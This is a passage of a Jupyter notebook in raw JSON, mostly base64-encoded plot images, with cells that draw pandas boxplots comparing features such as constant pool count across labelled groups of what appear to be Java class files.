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\n8ZkAcPj9eLpOoSuT3DLJdyV5TVU9IcnPJXl2kl9M8ugkT6+qt7fWXjx57okkx5KcTvJ3ST4tyTcn\n+d2qemhr7Q/6hqmqY0n+IMn9krwsyc8muTDJA5N8RZJf3uW5n5Guvbx9kmcl+eskD03XBj+4qh4+\n6ZnetNsc6K1t8jek+zf+Xrqdaj6S5B5JvjzJnZO8u8+/EQ4zBTMcXndK8jmttQ8mSVU9O8lfJPnJ\nqvqldEX089IVvw/bUuw+p6r+fHLfZa21qyfnK8mlSZ7ZWvuJzTepquuTPDPJI5L81i55npCuQP7+\n1tqPbXn+m9L98bC+7f5Kcp8kX9da+x9b7r8xybdX1We21t4686cBwFFxQZIvbK19Ikmq6i/Tfen6\n4iRf0Fp74+T885O8I8kTJ9eS5Ftaax/e+mKT9vPN6YrUrziPPFekK5b/fWvtudtee/sc6GnPvTTJ\nI1trr5mce3ZVvSPJU9IV+M/f+pIzZnpUkg/k5u1/klw+4/PhyDAkGw6vn9sslpOktfaBdN+qX5zu\n2+l/leQu6b5hvqSqLt18JHn15Glfsu01P5nkv207d9Xk533OkeerknwiyX/ddv656Rrtaf5+a7Hc\n8/0AOJp+brNYntjsFX79ZrGcJK21jyf5kyT/ZMu5m4rlqrpdVd0pyY3penm/oG+QqrogyWOS/OX2\nYnnyfjv2CE+e+6+TvHFLsbzpxya5HtU308RGulFjXzlD0Q5Hmh5mOLzessu5eyW53eT350+5L+mG\nbt1l27l3tda2L+b1nsnPO50jzz0nz7/ZN/ettY9P5i/fccpzrplybtb3A+Boulnb0Vp736QmfPuU\ne9+XLe1JVd07yY+mm/azvV2aOj/4HC5NN8T7N8/juXdOV9S+efuFyb/pH9O1refjiiQPSfKKJO+p\nqqvTfVm1fegVAAADnUlEQVT+y621G87zNeFQUjDD0bT1G+2nJFnb4b53bTvebfXO/fiG+qDfD4Dl\nt1PbsesK1FV1u3Rzem+d5KeSvCnJB9MVyk9LNzprkU3tra6qs/7eb629rarul+Thk8dlSZ6T5FRV\nPaS1Nu0LaziSFMxweN0vyaumnEu6b99vM/n9w6211x1AnvUkD6+q27bWPrR5sqpuke4b8vceQAYA\n2G6z0Hx4kk9J8o2bi2NuqqorzvO1352uF/v4eTz3+nQF+/23X6iqi9NlfeOW0++dXDvWWtvYcv5e\n0158MmLs1ZNHqurLk/xGkv+U5DvOIy8cSuYww+H1bVV1h82Dqrpjkv+QruG+Oslrk1yX5PsmDe/N\nVNWtJ9+275VfT7cq6JO3nf+WdKteA8CQNnugb/b3cVV9SZJ/scNzdluVOpMFtV6a5H5V9U19wkye\n+6okD6yq7TtDfF+6kVYv33LuryY//9W2e79r+2vvsHXUn01+nvU3ARxlepjh8Lo+yR9N9l3c3Fbq\n05J8c2vto0m3B2O6+Ut/NVkt9G/SzbW6b7qFRP5NuuFpm+YZBv3cdFtC/UhV3SfdQiufk27rqrel\nK6YB4KBttm1/kOQfk/yXqlpJ8vfpeoYfl2549mfv8tzd/ECShyV57qT4/l+T5/2zJBe21h6/y3Of\nlq4AfkVVPStdO/2QdG3n1Um29oS/NN3c5P9eVfdN9wX5l2X6mh+/VVXvS/dv/tt0bf9quuHnvzjD\nvwmODAUzHE4tyfema1SfmOSu6b55fmxr7Zduuqm136qqf57um+rHpVtg5H3pCtj/ku4PhK2vues3\n6VMynDlo7WNV9fAk/znJV6dr7P843XZUz0lyq92e3+MaAEdX3/bhprattbYx6cl9ZpInpfs7+U/T\n7U38zUkesNNzdzs3ed0HpSt+vybdF9IfTLeY10+f47nvrKovSPL0dO30sXQF7hVJfmTrllCttQ9W\n1SOT/OTkvW5I8qtJHpuubd/qWena4X+f5JJ0C2q+MckTt2wnCSSpXVazB9h3VXVhujler2+tPXLo\nPAAAsMkcZuDAVNX2XuSkm1d9xyS/fcBxAABgV3qYgQNTVS9Kcsskr0/y/5I8KMm/SzcE/IFbV88G\nAIChKZiBA1NV35BuTvVnJrldusVVfjPJD7bWrh8yGwAAbKdgBgAAgCnMYQYAAIApFMwAAAAwhYIZ\nAAAAplAwAwAAwBQKZgAAAJhCwQwAAABT/H8yWa7qsI8HugAAAABJRU5ErkJggg==\n", + "text": [ + "" + ] + } + ], + "prompt_number": 131 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Next we compare the number of items in the constant pool" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='constant_pool_count', by='label')\n", + "plt.ylabel('Constant Pool Count')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 132, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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